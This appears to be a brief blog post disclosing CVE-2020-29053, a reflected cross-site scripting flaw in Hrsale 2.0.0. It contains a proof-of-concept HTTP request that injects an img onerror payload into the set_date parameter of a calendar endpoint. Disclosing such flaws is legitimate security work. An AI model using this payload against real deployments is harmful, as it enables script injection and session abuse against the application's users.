GrimTheRipper
Follow
Nov 23, 2020 · 1 min read · Listen

[CVE-2020–29053] Hrsale V 2.0.0 — Reflected Cross Site Scripting

Description

An Issue is discoverd in Hrsale V 2.0.0 . This exploit allow you to run javascript

Cross site scripting attack when you has quire a date

Intercept a packet then you add the XSS in set_date parameter

Proof of Concept

POST /admin/project/projects_calendar HTTP/1.1

Host: sosecure.humange.co

User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:81.0) Gecko/20100101 Firefox/81.0

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8

Accept-Language: th,en-US;q=0.7,en;q=0.3

Accept-Encoding: gzip, deflate

Content-Type: application/x-www-form-urlencoded

Content-Length: 75

Origin: https://xxx.co

Connection: close

Cookie: __cfduid=d8cfb95506aaf2c2d0280614ea49070951604044098; csrf_hrsale=a7127efc9beec47e22b39a3bdd25e4ac; ci_session=l8ohe8dalvdjn2r2udl6cbh92ngd7jlc

Upgrade-Insecure-Requests: 1

user_id=69&csrf_hrsale=a7127efc9beec47e22b39a3bdd25e4ac&set_date=”><img src=x onerror=prompt(‘1’)

Author

Grim The Ripper Team by SOSECURE Thailand

Cross Site Scripting Hacking